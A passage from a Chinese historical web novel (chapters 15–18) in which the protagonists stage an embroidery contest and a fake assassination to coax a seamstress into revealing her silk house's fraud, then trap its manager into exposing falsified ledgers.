裴栩生这才恍然几分:“你们这是想挖孙氏过来?可她在绫罗庄做到今日,已是安稳。解忧阁月钱多些是不假,却是没了根基,且到底不是绣坊,她不怕日后生变?”
“银钱不过是个引子。”韩诗情语声轻缓,却字字清晰,“她来阁中那日,我便已让她知晓,这里有惜才之人、用才之地。这于她,比银钱更难得,亦是长久的托付。”
她略一停顿,续道:“何况,我观她那日神情,便知她醉心此道,不甘居于人下。公子提议设局试艺,理由便是在此。”
她言辞平和,说得甚是笃定,裴栩生虽心中仍存疑虑,却也愿意信她一回。
窗外不知何时落起细雨,淅淅沥沥的。
韩诗情静静望着檐角垂落的雨线,对杨雨露轻声吩咐:“报名截止之期,定在十日后,容她思量思量。”
15. 第十五回
告示张贴出去第五日,报名参加的绣娘已有二十余人。
裴栩生坐不住了,来到前厅,一见到苏云鹤便叹道:“你们这主意,究竟有几分把握?”
苏云鹤神色从容,并无半分急切:“别急,这个结果我们早有预料。所以,还需为她添两把柴,此刻那人便在阁中。”
话音刚落,荀素雪随韩诗情自内厅走出,身后跟着丫鬟墨蕊。
“郡主?”裴栩生拱手行礼,面露疑惑,“你便是那两把柴?”
“我不是。”荀素雪微笑着摇摇头,将墨蕊拉到身前,“她才是。”
她转身向韩诗情道:“韩姑娘,我便将墨蕊交与你们了。”
韩诗情含笑着应。
在裴栩生不解的目光下,墨蕊当场写了一封倾诉信笺,递给杨雨露,请她在无人时贴在互助倾诉墙上。
信中写道,她是一位高门里的丫鬟,自幼跟随主子,情分深厚。她有一门手艺,近日正逢着个能施展的机缘。
这机缘若是错过,往后再无可能;可若去了,便要离了主子。
此事她如实禀了,主子心善,只说若她想去,便放她去;若在外头磕着碰着,或是累了倦了,再回来便是。
主子待她这般真诚,反倒令她越发舍不得走。可那桩机缘,她终是难以割舍。
不过两日,这封信笺便得了许多女子的匿名回复,皆劝她莫要错过这次机缘。
如今告示贴出有七日,孙氏想来已知晓此事,正自犹豫不决。待见了这封匿名倾诉,知墨蕊与自己处境相似,定会感同身受。
“这是第一把柴。”韩诗情对裴栩生说,“你莫着急,再往后瞧瞧。”
比赛当日,墨蕊站上了赛台。
可孙氏仍未到场。
比赛结束,墨蕊以碾压全场绣娘之姿,夺得魁首。
裴栩生大失所望。
赛后他又来解忧阁,想问一问接下来如何是好,却见韩诗情与苏云鹤正悠闲对弈。
“你们……还有心思下棋?”他蹙眉道,“比赛已结束了,她还是没来!”
他急得如热锅上的蚂蚁,韩诗情与苏云鹤却仍凝神于棋盘中,一个道“稍安勿躁”,另一个也只说“火候将至”,竟似全然不理会他那火烧眉毛的模样。
待对弈已毕,韩诗情唤杨雨露将墨蕊的绣品挂于阁外,供人品鉴两日。
这才转向裴栩生,语态从容,已是成竹在胸:“两日内,她定会出现。”
果然不出她所料,隔日下午,孙氏便来了解忧阁,直言要参加小赛。
屏风之后,裴栩生与苏云鹤正侧耳倾听。
闻言,裴栩生喜形于色,压低声音,直夸他们算无遗策。
苏云鹤只淡淡一笑,摇了摇头,示意他接着听下去。
下一瞬,见韩诗情端起茶盏,浅浅饮了一口,却是温声婉拒道:“孙师傅是绫罗庄的绣娘,来参加解忧阁的小赛,恐怕不太合适吧。”
孙氏自知韩诗情所言有理,却不甘心就此作罢,道:“听说夺魁的乃是宁安郡主的贴身侍女墨蕊姑娘。郡主侍女皆可来参赛,我虽是绫罗庄的绣娘,为何不能以我孙欣瑜之名,前来一试?”
“能……确是也能,只是……”韩诗情面露难色,将茶盏轻搁于案,“你既知晓墨蕊姑娘参赛,想来也知小赛已毕,我们选了她为女红先生。”
“我确是知晓,可是……”孙欣瑜自知错过了良机,语气急切,“纵使墨蕊姑娘有心钻研此道,可论起技艺,却是稍逊一些……既是选拔技艺最高之人,为何不可给我这个真正擅此道者一个机会?”
“技艺稍逊?”韩诗情眉间微沉,“孙师傅此言何意?墨蕊姑娘的手艺,便是我这外行人瞧着,也比其他绣娘强出许多。”
“那也只是比旁人强,强不过我。”孙欣瑜顿了顿,沉吟一会,才低声道,“她有一处绣法,用错了。若那处改过,必能画龙点睛,比如今的成品强上不止一筹。”
韩诗情似有所动:“当真?”
“自然当真!”孙欣瑜斩钉截铁,“既然贵阁意在择取技高之人,便应以技艺为准,莫要拘于形式。”
韩诗情起身踱了两步,似在仔细思量,很快,她又问了一遍:“你方才说墨蕊姑娘绣错了,可能确认?”
孙欣瑜郑重颔首:“自能确认。旁人看不出来,我却瞧得清清楚楚。正因如此,我才不甘心将这样的机会,白白让与她……”
“可是……”韩诗情面上显出踌躇之色,分明已是动摇,“我们已与墨蕊姑娘说定,她在郡主府收拾三五日,便来解忧阁签契。纵使她技艺真有些许瑕疵,我们又岂能出尔反尔?”
“既还未签契,便有转圜余地。若贵阁最终选择我,我愿将首月月钱予她,以作补偿。”孙欣瑜语意恳切,竭力求取。
韩诗情左行两步,右行两步,似更加动摇。
孙欣瑜再向前半步,声音几近央求:“若她不肯,两月、三月月钱,皆可商量!”
韩诗情迟疑良久,终问出关键一句:“孙师傅心诚,若你所言墨蕊姑娘绣错之事属实,且能替她改正,我可替你商议。只是,你在绫罗庄待得好好的,何故偏要来此?这般行事,岂不伤了解忧阁与绫罗庄的和气?”说至此,她又摇摇头,“万一你只是一时意气,我应下了,你又反悔……”
“不!绝不反悔!”孙欣瑜脱口而出,“在绫罗庄,几个月也摸不着一块真正的好绸缎。我想做几块好布,都快想疯了!”
“什么?”韩诗情讶然道,“你在绫罗庄摸不着好布料?”
孙欣瑜这才惊觉失言,连忙解释:“是……是这样……我虽技艺高些,可资历终究比不过柳姐姐。庄中好布料,皆紧着她先用。我……我总觉得自己在那里,是虚度光阴。”
“原是如此。”韩诗情微微颔首,总算露出决断之色,“这样,你且回去等一日,我与墨蕊姑娘商议一番,看她对绣错一事如何说。若她执意不肯接受你的提议,我们也没法子。”
“多谢韩姑娘!”孙欣瑜连连道谢,虽不知结果如何,但有一线希望,便已是好的。
商定之后,孙欣瑜离了解忧阁。待回到绫罗庄,竟是坐立难安了一整日。
翌日傍晚,韩诗情才差人请孙欣瑜过阁详叙。
墨蕊已在阁中等候,见孙欣瑜进门,只淡淡招呼一声,态度不冷不热的,眉眼间尚带着一丝不服输
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的矜持。
孙欣瑜自知理亏,也不挂在心上。
两人落座,墨蕊不等韩诗情开口,已先道:“孙师傅说我绣错了,究竟错在何处?你若真指点得当,这解忧阁女红先生之位,我便让与你。”
说着,取出自己的绣品,递至孙欣瑜面前。
孙欣瑜于女红一道向来自信,此时也不谦让,接过绣品,指着某处,温声道:“墨蕊姑娘这鸳鸯尾羽,若换一种针法,便更能与全幅相配。”
说罢自袖中取出备好的针线,细细拆去那几针,又补上新样。
墨蕊初时尚有些不以为意,可绣至半途,已觉得大有改观;待孙欣瑜收针,整只鸳鸯栩栩如生,竟似添了魂魄一般。
谁能想到,不过是尾羽处那几针之差,竟有天壤之别。
墨蕊怔怔看了许久,最终长吐一口气,语声也恭敬起来:“孙师傅巧夺天工,墨蕊心服口服。解忧阁女红先生之位,自当归你。”
孙欣瑜喜道:“多谢墨蕊姑娘成全。”略顿,又诚心相邀,“若得空,可来学堂坐坐,我尚有几分心得,或可与你切磋。”
“不必了。”墨蕊微微一笑,婉言谢绝,“我既不来此处,便该回府踏实伺候郡主。往后能出来的时日,想来不多了。”
孙欣瑜只得点头:“既是如此,便不勉强了。”
事已议定,墨蕊告辞回府,韩诗情亲自将人送出门。
行至门外,韩诗情握住墨蕊的手,语声歉然:“委屈你了……”
她深深一叹,面上带着真切的愧意:“孙师傅女红技艺虽高,与你相较,仍有不及。要你自污名声,陪我演这一出……我心中实在过意不去。”
墨蕊轻轻摇头:“不委屈。姑娘救过我家郡主,便是我的恩人。这点小事,算不得什么。”
她给了韩诗情一个安心的浅笑,又道:“我于这事儿上,有几分天赋,许是旁人用几十年也追不上的,可我于此无心。既已辜负了老天厚爱,名声上如何,便也不打紧了。”
在某一项技艺上天赋异禀,却心不在此,听来总令人唏嘘。
两人又闲话几句,墨蕊便匆匆去了。
韩诗情回到阁中,与孙欣瑜细细议好签契之事。孙欣瑜便先告辞,回绫罗庄收拾准备。
待她离去,韩诗情回到内厅,苏云鹤与裴栩生正在等她。
望着她与苏云鹤那副尽在掌握的神情,裴栩生不禁叹道:“好一招以退为进。”
韩诗情也不谦逊,只道:“她在触手可及时犹豫不决,错过良机给技不如己之人,心里如何能不难受?自是想竭尽全力挽回。”
“墨蕊那两把柴,原是这样加的。”裴栩生亦是聪慧之人,一点便透。他将这几日之事细细品来,看看韩诗情,又看看苏云鹤,忍不住笑道,“你们二位,瞧着不食人间烟火,花花肠子却是比谁都多。”
苏云鹤浅笑道:“栩生说话,素来这般口无遮拦。你莫与他计较,权当是夸咱们便是。”
韩诗情含笑颔首,自不在意,只转向裴栩生道:“裴公子莫再说笑了。剩下那步棋,该你落子了。”
裴栩生闻言敛了笑意,当即正色,点头应道:“我这就去。”
16. 第十六回
从解忧阁出来时,暮色已沉。
裴栩生放缓了脚步,不远不近地跟着孙欣瑜。一路穿过两条长街,待她进了绫罗庄后院的角门,又拖了半柱香的时辰,方才摇着折扇径直入内。
刚踏进后院,便传来争执之声。
他循声而去,只见孙欣瑜立在院中,周掌柜在她身旁。
此时周掌柜正紧锁着眉,语气颇为不耐:“孙师傅,你和柳师傅是咱们庄里的顶梁柱。你若走了,柳师傅一人如何忙得过来?庄里待你向来不薄,你可不能撂挑子啊!”
孙欣瑜垂着眼,声音里透着几分执拗:“绫罗庄的栽培,我铭记于心。只是人各有志,我已决心去解忧阁授女红课。”
“解忧阁算什么?”周掌柜嗤笑一声,“那只是一间茶室,你一个绣娘,去那儿能做出什么名堂?”
孙欣瑜抿了抿唇:“去那里将女红手艺传扬下去,也是一桩善事……还望掌柜的为我签一份解契,放我离开吧。”
“当真非走不可?”周掌柜面色阴了阴,不耐之意更为明显,“你若嫌月钱少,我可做主给你添五两,不比那边给的少。你先想想,解契一事不急。”
“不必想了,我……”孙欣瑜正要再推辞,余光却瞥见一道靛蓝的身影,便收了声,转而招呼道:“东家……”
裴栩生执扇走近,见气氛有异,扫了二人一眼,似是不经意地问道:“这是在说何事?怎么面色这般不好?”
周掌柜一怔,旋即堆起笑脸,迎上前道:“东家,你回来了也不派人知会一声,好让咱们去接你。”
“京中临时有事,来得急。”裴栩生随意摆了摆手,在石凳上落座,“方才进来时,见你们这边似有不快,究竟出了何事?”
周掌柜看了看孙欣瑜,惋惜道:“是孙师傅,不知怎的,非要离开绫罗庄,去那劳什子的解忧阁。”
说罢,摇头长叹一声。
裴栩生闻言,神色倏地一沉,目光落在孙欣瑜面上,语声也冷了几分:“孙师傅,你的手艺在京中确有几分美名。可你有今日,全赖我绫罗庄悉心栽培。如今说走便走,是我给得不够,还是庄里有何处对不住你?”
他在京城的时日不多,可平素里便是阴晴不定的少爷脾气,面上笑呵呵时,如何说笑都不打紧;一旦黑了脸,庄上无一人不怕的。
孙欣瑜心生惧意,不自觉低下头,只轻声道:“没,没有……我只是,只是不想……”
说到这里,下意识闭上嘴,后半句怎么都不敢说出口。
裴栩生却是听明白了,冷声替她续道:“只是不想留下了?”
确是被说中心思,可她不敢明言,只极轻地点了点头。
“那走便是,想必是心气高了,嫌我这庙小,供不起你这尊大佛。”裴栩生一合折扇,冷冷地对周掌柜摆手,“给她解契。”
周掌柜见他如此反应,知他动了怒,自是不敢有异议,便要带孙欣瑜下去。
裴栩生又补了一句:“打发她离开便来前厅寻我,我再与你细说说这次回京所办之事。”
周掌柜连连点头,同孙欣瑜一起退下。
便是这般,虽惹了前东家不快,孙欣瑜终究是达到了自己的目的。
可从绫罗庄离开时,周掌柜望向她的神情,寒得令她心颤。
入夜,解忧阁后院一片寂静。
孙欣瑜躺在厢房床上,辗转难眠。
虽已得偿所愿,却不知为何,心里隐隐渗着不安。
她翻了个身,将被角攥得紧紧的。
忽然,窗子被人从外面推开。
她尚未反应过来,一道黑影已跳窗而入,落地时几无声响。
月光自半开的窗子斜斜映下,堪堪照见那人黑衣蒙面,手持长剑。
黑衣人缓步行至床边,冷眼望着她,如同望着一个死人,下一瞬,长剑出鞘,直朝她心口刺去。
她吓得魂飞魄散,剧烈颤抖起来,连呼救都忘了。
眼见那剑尖要刺入她心口,斜刺里忽有另一柄剑横空而出,生生将那剑锋格开。
“来者何人?”黑衣人未料到屋中竟有埋伏,收剑立稳,冷声发问。
叶霜执剑立于床前,窗外的月光隐隐映在她脸上,衬得她英气勃发,有不让须眉之姿。
她嘴角微微一挑,声音清朗:“你姑奶奶,‘叶落无痕’叶霜女侠。”
黑衣人似是听过这名号,神色一滞,旋即长剑再指,压低了声音喝道:“莫管闲事!”
“做梦!”叶霜寸步不让。
“那便别怪我不客气了!”黑衣人不再多言,剑锋一转,直取叶霜咽喉。
两道人影在狭小的屋中交错腾挪,不过十余回合,黑衣人剑势渐颓,虚晃一招,纵身跃出窗外。
叶霜未去追,收剑回鞘,转身去看孙欣瑜。
“你怎么样?”她关切道,“可有受伤?”
孙欣瑜蜷缩在床角,浑身筛糠般颤抖,双手死死攥着被衾,激动道:“他是谁?他为何要杀我?”
“我也不知……”叶霜低声安抚,“别怕,人已走了……”
孙欣瑜却似听不见她的话,只反复喃喃,声音破碎得几乎不成句:“为何要杀我,为何要杀我?”
不多时,脚步声急促而至。
韩诗情赶来,杨雨露跟在她身后。她见孙欣瑜这副模样,轻轻握住那双冰凉颤抖的手。
“孙师傅,是我,别怕。”她语声温软,“你看看我。”
孙欣瑜茫然抬头,认出是她,骤然如溺水之人抓住浮木,反手攥紧她的手腕,力道之大,竟将她的手腕勒出红痕。
“救救我!”她声音嘶哑,泪如雨下,“韩姑娘,救救我!有人要杀我!”
韩诗情不闪不避,由她握着,待她稍稍平静一些,方才小心翼翼地问:“何人要害你?你可有得罪了谁?”
“得罪谁?得罪谁……”孙欣瑜细细思索,难道是……“绫罗庄?!周掌柜,对,周掌柜,他不愿我离开绫罗庄!”她语无伦次,身子不住发颤,“一定是他,一定是他!不,不是他,他应当不知情才是!不不,想是知情了,是他!”
她越说越乱,声音时而拔高,时而低不可闻,似被梦魇困
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住,怎么也挣不出来。
韩诗情静静地坐于床边,任她握着自己的手,反复呢喃着心中的恐惧。
直至晨光熹微,远处传来第一声鸡鸣,她的情绪才渐渐平复。
望着窗外升起的日头,她缓缓开口:“一定是周掌柜要杀我,因为……因为他知晓我发现了那件事……”
“那件事?”韩诗情眸光微凝,与叶霜相视一望,又问,“是哪件事?”
孙欣瑜秀眉紧蹙,一字一顿地说:“绫罗庄的绸缎……十之七八,都是以次充好的仿品。”
韩诗情故作惊愕之态,失声道:“什么?”
“真的!我说的是真的!”孙欣瑜唯恐旁人不信,又急急补充道,“只有少数售给真正识货的高门大户,才会用上等的真品。除了云水绸和软烟罗,旁的料子也是一样!”
她顿了顿,喉间似有哽咽:“其实,我早有离开之意,只是家中还有三个幼弟,处处都要用银钱,实在丢不开手。如今脱了身,却万万没想到,竟惹来这等杀身之祸……”
叶霜忍不住问:“你的意思是,他们因你知晓此事,又离了绫罗庄,才要灭你的口?”
孙欣瑜无声地点点头,将头压得更低。沉默了好一会儿,续道:“我摸得出庄里的料子变了,却一直不知为何。直到有一回半夜,我折回绣房取落下的针谱。”
她声音越来越轻,像是怕惊动了谁:“路过周掌柜的屋子时,我见他屋里没有亮灯,却仍有人在。我还听见他对那人说,‘账目已平,只待月底对完,便可再走一批’……”
她再度回想,指尖微微收紧。
“那人说,‘这批料子比上一批省两成。’还说……还说……”
“还说了什么?”叶霜温声催促,韩诗情轻轻推了推她,示意莫要着急,又握紧孙欣瑜的手,给了一个安心的眼神,“慢慢说,不急。”
孙欣瑜在她的安抚下,继续将那夜听到的话说了出来。
“还说对好这个月的账,便尽快把账底烧掉,别给他家主人添麻烦……”
韩诗情心头一凛,面上却未露半分,仍以最温和的语调问:“他家主人是谁,他可曾提起?”
孙欣瑜摇了摇头,眼中仍有余悸,“没有……我当时生怕被他们察觉,哪里还敢多留,赶忙便走了。”
韩诗情点点头,不再追问,又柔声宽慰几句,便借口去寻些吃食,起身出了厢房。
才一踏出房门,便见苏云鹤与裴栩生已立在廊下。她快步上前,将孙欣瑜所言低声复述一遍,便匆匆去后厨寻些点心,好回去接着陪孙欣瑜。
苏云鹤望着她离去的背影,沉吟道:“虽不知那幕后之人是谁,却知晓他们要在对账后烧毁账底,这是一条极要紧的线索。”
他顿了顿,嘴角扬起一个轻微的弧度:“原想着从孙师傅这里得到些蛛丝马迹,再顺藤摸瓜慢慢来,未料竟有这般大的收获。”
裴栩生闻言轻笑一声,拿扇子虚点了两下苏云鹤:“虽是意外收获,也仰仗于你们能想出这般环环相扣的……”他顿住,笑意更浓,颇有深意,“狠招来。”
17. 第十七回
听他话中有几分调侃之意,苏云鹤淡淡一笑,轻轻将指着自己的扇子推开,转身往住处走去。
“成事者不拘小节,只要不伤人害人,手段曲折些也无妨。”
裴栩生跟上,斜睨他一眼:“不拘小节?既是不拘小节,为何你自己不去做,偏要我去?”
苏云鹤脚下不停,理所当然地答:“男女有别,无论出于何种缘由,夜深人静时,我进女子厢房,终归不妥。”
“我不是男子?”裴栩生轻嗤一声,当即反问道:“我深夜进女子厢房,便妥当了?”
原来,绫罗庄那边未必知晓孙欣瑜已发现了他们那见不得人的勾当,便是知晓,也不会在她离开的第一日行灭口之举,否则岂非欲盖弥彰?
从初见她时,因她神色有异而猜测她知晓内情,到借着她对女红一道的痴迷,一步步将她诓出绫罗庄,再到昨夜虚张声势的刺杀,让她深信自己因知晓秘密而招来杀身之祸。
韩诗情这番算无遗策的布局,总算将她心中所藏之事逼了出来。
而那个执剑刺入、又假意不敌而逃的黑衣人,正是裴栩生。
想起这件事,裴栩生便止不住抱怨,苏云鹤但笑不语,并不与他争辩。不过玩笑归玩笑,正事却耽搁不得。
“现下要做的,是把她被刺杀之事传到周掌柜耳中,且,只能传到周掌柜耳中。”苏云鹤说此话时,两人已回到他所住的厢房。
苏影刚为他斟好茶,他端起茶盏,指腹缓缓划过杯沿,目光沉沉。
裴栩生轻摇着折扇:“我明白了,我们要逼他提前动手。”
“不错。”苏云鹤颔首,“周掌柜若听闻孙欣瑜遇刺,定会以为她知晓了他们的秘密,这才惹得背后之人出手。如今刺杀未成,他必然心慌。人一旦慌了,便会出错。”
窗外的日头渐渐升高,将廊下的竹帘映出一道道细长的影子。
当日下午,杨雨露去了药铺,说要买些安神的药,有意无意地透露出昨夜解忧阁进了贼人,险些伤了新来的女红师傅。又说那师傅吓得魂不守舍,直喊着有人要杀她灭口。
那药铺,正是周掌柜的私产。
与此同时,苏影悄然守在绫罗庄附近,替魏珍荷与解忧阁传递消息。
傍晚,苏云鹤与韩诗情于窗下对弈,正落子间,苏影掀帘而入。
“公子,韩姑娘,绫罗庄有动静了。”苏影向二人回禀,“魏姑娘说,吴总管忽然通知,本月月账提前到今夜核对,东家急着要查看账目。”
韩诗情与苏云鹤对视一眼,皆是了然。
裴栩生这个东家分明就在解忧阁,何曾催过账目?必是周掌柜他们慌了手脚,要在对账之后烧毁底账。
“今夜对账之后,便要动手了。”苏云鹤又落下一子,面色如常,不起波澜。
韩诗情跟着落子,抬眸看他,二人相视一笑。
当夜戌时,绫罗庄后院。
十八位账房陆续进入吴总管房中,一如往常般匆匆核对、签字画押。
只是这一次,有人不时抬眼看向窗外,有人握笔的手微微发颤。
孙欣瑜离开绫罗庄当夜遇刺的消息,已在账房众人间悄然传开。
他们不敢想,这字签完,等来的会是什么结果,却也不敢不签。
月账对完,已是亥时。
待账房们散了,吴总管亲自锁了房门,四下张望一番,才提着灯笼往周掌柜屋中走去。
他并未察觉,有人伏于屋顶,正紧紧盯着他的身影。
待他进了周掌柜的屋子,那人才悄然挪动位置,靠近那间亮着微弱灯光的厢房。
屋内,周掌柜将那些日簿查验一番,方低声道:“烧干净点。”
吴主管点点头,从怀中掏出火折子。
就在这时,房门被人一脚踢开。
裴栩生立在门口,面色阴沉,冷冷看着屋内二人。
“周掌柜,吴总管,深夜焚账,可是有什么见不得人的东西?”
话音未落,周掌柜十指一颤,那摞账底脱手坠地,登时纸张四散,落的满地狼藉。
吴总管更是骇得面无人色,手中火折子微微一抖,险些烧上自己的衣袖。
看着二人惊慌失措的模样,裴栩生并不急着上前,只侧身让出门来。
接着,苏影与杨雨露进了屋。
他们一同上前,将散落在地上的日簿账底捡起,仔细整理,叠放整齐。
周掌柜与吴总管眼睁睁瞧着,手指攥紧又松开,却一步也不敢上前,更不敢出言阻止。
裴栩生冷眼望着他们,待账底理好,方才开口,声音里没有半分温度:“到前厅来。”
说罢,他转身便走,苏影与杨雨露紧随其后。
周掌柜与吴总管对视片刻,皆是一副如临大敌的模样,硬着头皮跟了上去。
前厅之中,灯火通明。
裴栩生在上首坐了,韩诗情与苏云鹤分坐两侧。
周掌柜与吴总管站在厅中,额头已沁出细密的汗珠。
裴栩生见两人没有主动交代的意思,便说道:“今日之事,细细讲来。”
周掌柜望了吴总管一眼,道:“东家,为防止账务外泄,每月烧毁日簿底账,是咱们庄里一直以来的规矩,并非今日才有。这……这有何不妥?”
他说到后面,语气竟渐渐平稳下来,仿佛真的只是在解释一件再寻常不过的事。
裴栩生唇角勾起一抹冷笑:“一直以来的规矩,为何我这个东家从不知晓?何况,既是寻常规矩,怎的还要你这个掌柜的亲自来烧?”
周掌柜当即露出惊讶之色:“这规矩已有多年,东家竟不知晓?定是哪里出了岔子。”他向前半步,面上一片真诚,“由小人来烧,只因涉及银钱之事,半分马虎不得。小人行事谨慎些,也是为庄里着想。”
“为庄里着想?”裴栩生语声里满是嘲讽,“好一个为庄里着想。”
他懒得再与周掌柜争辩,只抬手吩咐:“把月账拿来。”
早有准备的伙计捧着一摞账册进门,小心翼翼放在桌上。
裴栩生指着那些账册,又看向杨雨露手中整理好的日簿底账,冷声道:“你们来核对月账与日簿,一笔一笔地对。”
周掌柜与吴总管顿时脸色煞白,冷汗涔涔而下,却不敢不从。
他们颤抖着将月账与日簿逐条比对,每对一笔,脸色便难看一分。
屋内一时无人言语,安静如潭,唯有纸张翻动的声音。
约莫过了一个时辰,方将所有账目对完。
裴栩生扫了一眼那摊开的账册,声音愈发冷厉:“每笔差得不多,三钱五钱,七钱八钱,可所有加在一起——”
他顿了顿,一掌拍在桌上
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:“竟有五千七百两之巨!你们作何解释?”
吴总管猛地抬头,面上满是难以置信的神色,颤声道:“不可能!这不可能!”
周掌柜亦是一脸震惊。
吴总管急道:“东家明鉴!小人的月账,都是按照日簿最终核对的数目写的,绝无半分虚报!定是……定是那些账房在核算时虚报了数目,小人有失察之责,却当真不知情啊!”
“对对对!”周掌柜连声附和,“定是那些账房捣的鬼!”
裴栩生听罢,不怒反笑,“方才还说马虎不得,此时怎就月月失察了?”
“这……”周掌柜被噎得说不出话。
“给你们预想的说辞,你们倒是全说出来了,一个没让我失望。”裴栩生声音更冷,转向门口,扬声道:“魏姑娘,请进。”
音落,魏珍荷自门外缓步而入。
周掌柜与吴总管见她出现,虽不知她来此何意,心里却没来由地一阵不安。
待她走到裴栩生面前,裴栩生从怀中取出一叠纸张,递给她:“魏姑娘,这可是你这一月的日簿?”
她接过,仔细翻看片刻,郑重颔首:“回东家,正是。每一笔账目,皆是我亲手所录。”
周掌柜脸色惨白如纸,嘴唇哆嗦着,半晌才挤出话来:“账房不可私留账底……你、你怎么会……”
魏珍荷望着他,目光清透,语声平静:“账底确是不让留,每日有人盯着我们交出去,生怕我们偷偷抄录,可周掌柜没料到的是,我在算账一事上,有过目不忘之能。”
她嘴角扬起一个自信的弧度,继续道:“每日核算完毕,回到住处,我便将当日的底簿重新记录一份。这些,便是裴东家手中那些日簿的来处。”
周掌柜与吴总管听罢,如遭雷击,呆立当场。
裴栩生将魏珍荷所录的日簿与伙计呈上的月账并排铺开,冷声道:“魏姑娘给我的日簿,与你们每月收走的日簿,分毫不差。这足以证明她并未做假账,只是这日簿与月账的数额,却对不上。”
他轻叹一声,道:“其中是何缘由,便不言而喻了。”
周掌柜双腿一软,几乎站立不住,吴总管亦是面如死灰。
良久,周掌柜终于支撑不住,垂下头,哑声道:“是……是小人一时糊涂,受了他人蛊惑……”
吴总管见他已经松口,也不再硬撑,跟着点头,喃喃道:“小人知罪,小人知罪……”
裴栩生冷哼一声,正待说些什么,却听韩诗情的声音响起,带着几分恰到好处的激愤。
“做假账便罢了,你们竟还如此恶毒!”她站起身来,“孙师傅不过是因为发现你们与旁人串谋,以次充好,你们便要灭她的口!杀人之罪,可是重罪!”
周掌柜与吴总管闻言,面面相觑,眼中俱是茫然。
“灭口?”周掌柜愣了片刻,旋即连连摆手,“韩姑娘,此事当真非我们所为!”
吴总管亦急急辩白:“我们……我们根本不知她发现我们的事,如何会对她下手?”
韩诗情眸光一闪,紧接着问道:“那便是与你们一同以次充好、做假账的人所为?”
周掌柜一听这话,脱口便道:“一定是他!此事只有他敢做!”
话说出口,他才惊觉失言,赶忙住了嘴。
裴栩生趁热打铁,顺势追问:“那人是谁?”
18. 第十八回
此问一出,周掌柜如遭棒喝,整个人怔在原地,一时间忘了作答。
直到裴栩生不耐烦地又催促一次,他才哑着嗓子道:“做假账一事,小人不能不认了……可、可要说出他的身份,小人不敢……”
“不敢?”裴栩生冷笑一声,“你便是咬死了不说,他就不会怕你出卖他,先下手为强,杀你灭口?”
周掌柜何尝不明其中利害,面上早已血色尽褪。可话到嘴边,却只化作一股更深的恐惧:“杀人灭口,他做得出,可那不过是杀小人一个。要是说出他的身份,死的,便是小人全家了……”
说到最后,声音已抖得不成调子。
裴栩生听他语气决绝,心知再问无益,目光一转,落向吴总管。
吴总管忙摇头道:“东、东家明鉴!小人当真不知这些……这些都是周掌柜与那人单线联系,小人只奉命行事,从不敢多问半句……”
他神色惊恐,言语间不似作伪,想来确实所知有限。
裴栩生眉头紧锁,望向韩诗情与苏云鹤,目光中带着征询之意。
韩诗情轻轻摇了摇头,又微微颔首,示意他再容自己一试。
他会意,一摆手摒退了左右。
门扇轻合,屋内只余四人。
韩诗情轻轻一叹,缓步走到周掌柜面前,语声温和:“你可知,那幕后之人,根本不知晓孙师傅发现了你们的秘密。甚至,你们此时出了岔子,他也未必知情。”
“什……什么?”周掌柜满脸惊愕,“可他若是不知情,怎会孙师傅前脚离开绫罗庄,他后脚就派人去杀她?”
韩诗情迎着他震惊的目光,声音依旧平缓:“派人杀孙师傅的人,不是他,是我。”
这番话入耳,周掌柜心神剧震,脑海中一片空白。
韩诗情也不避讳,将如何设下女红小赛之局引孙欣瑜出绫罗庄,如何让裴栩生扮作刺客虚张声势,又如何放出消息诱他们提前焚毁账底,一五一十说了出来。
只是顾及荀素雪的郡主身份,略去了请她前往绫罗庄购绸取证、以及墨蕊故意藏拙相让的细节。
韩诗情每说一句,周掌柜的脸色便灰败一分。
待话全说完,周掌柜双腿一软,跌坐在地上,喃喃道:“原来如此……原来如此……我竟、竟浑然不知,一步一步踏进这连环套里……”
“我告诉你这些,是要你明白,”韩诗情垂眸,她虽看着弱不禁风,说话也轻声细语,却字字透着不容置疑的力量,“我们既有这般手段,便也有护你周全之力。”
她顿了顿,声音沉了下来:“如今那幕后之人尚不知此间发生何事,可终究瞒不了多久。待他知晓,会如何对你,你比我们更清楚……”
最后,她语重心长道:“与其坐以待毙,不若趁他还未察觉,助我们将他绳之以法。”
周掌柜心知她所言在理,可他的怕,已是入骨三分。他瘫坐着,胸膛剧烈起伏,终究只是哀声道:“韩姑娘……不是小人信不过你们的手段,实在是……实在是你们有再高的手段,或已证据确凿,也动他不得。”
听了许久的裴栩生眉头一皱,走上前,忍不住插嘴道:“动他不得?你倒是说说,他是何方神圣,若证据确凿,还动不得?”
周掌柜的目光在裴栩生面上停留片刻,只一个劲摇头,再也不肯吐露半个字。
韩诗情见状,知是问不出什么了,便向裴栩生递了个眼色。
片刻后,裴栩生唤人进来,将周掌柜带了下去,又吩咐严守消息,不得走漏半分。
待厅中重归寂静,裴栩生转向韩诗情和苏云鹤,甚是不解:“你们说他为何怕成这样?那幕后之人,究竟是何人?”
韩诗情沉吟片刻,轻声道:“若周掌柜所言非虚,证据确凿也动不得他,依我看,多半是庙堂中人。”
她略作思索,又道:“寻常官员吞不下裴家这份家业,位份必是不低。周掌柜怕的,是我们扳不倒那人,反倒累他一家老小陪葬。”
裴栩生听罢,面上闪过一丝不以为然:“便是朝中大官了?多大的官?这般了不得?”
韩诗情眸光微凝,望向他,心中隐隐生出疑惑:“朝中权贵,非平民百姓可以撼动。裴公子这语气,倒是对他们不甚在意?”
听得此问,裴栩生目光一闪,旋即摆摆手道:“我是说,咱们不是有宁安郡主相助么?郡主总比官员大些吧?”
苏云鹤接过话头,语声温润,却一针见血:“郡主虽贵为宗室,却无封邑、无实权,若真遇上朝中有权势的官员,未必能奈何得了。”
裴栩生若有所思地点点头,冲口而出:“那也无妨。”
见韩诗情眼中疑虑更甚,他忙续道:“我有几位故交,也在朝中为官,待我疏通疏通,便可解决。”
这话说得太过轻巧,江南首富再富,也不过是商贾之身,却能如此不将庙堂中人放在眼中?
韩诗情望着他,欲言又止,最终却只轻声道:“裴公子既有门路,自可一试。只是时日无多,须得尽快。”
裴栩生点点头,亦不再多言,只道了声“我这便去”,便大步出了厅门。
韩诗情行至窗边,望着他的背影消失在月色中,久久未语。
“在想什么?”苏云鹤走到她身侧,柔声问出口。
韩诗情转过头,静静看了他一眼,目光里闪过带着一丝说不清的审视。
半晌,她莞尔浅笑,轻轻摇了摇头,若有深意地说:“没什么……只是觉得,裴公子这门路,想来是有用的。”她轻抬眼帘,直视苏云鹤的眼睛,一字一顿地问,“公子以为呢?”
苏云鹤微微一笑,“但愿如此。”
二人并肩立在窗前,望着窗外那一弯冷月,各怀心事。
夜,凉如水。
不知何时,关押周掌柜的柴房门被人轻轻推开。
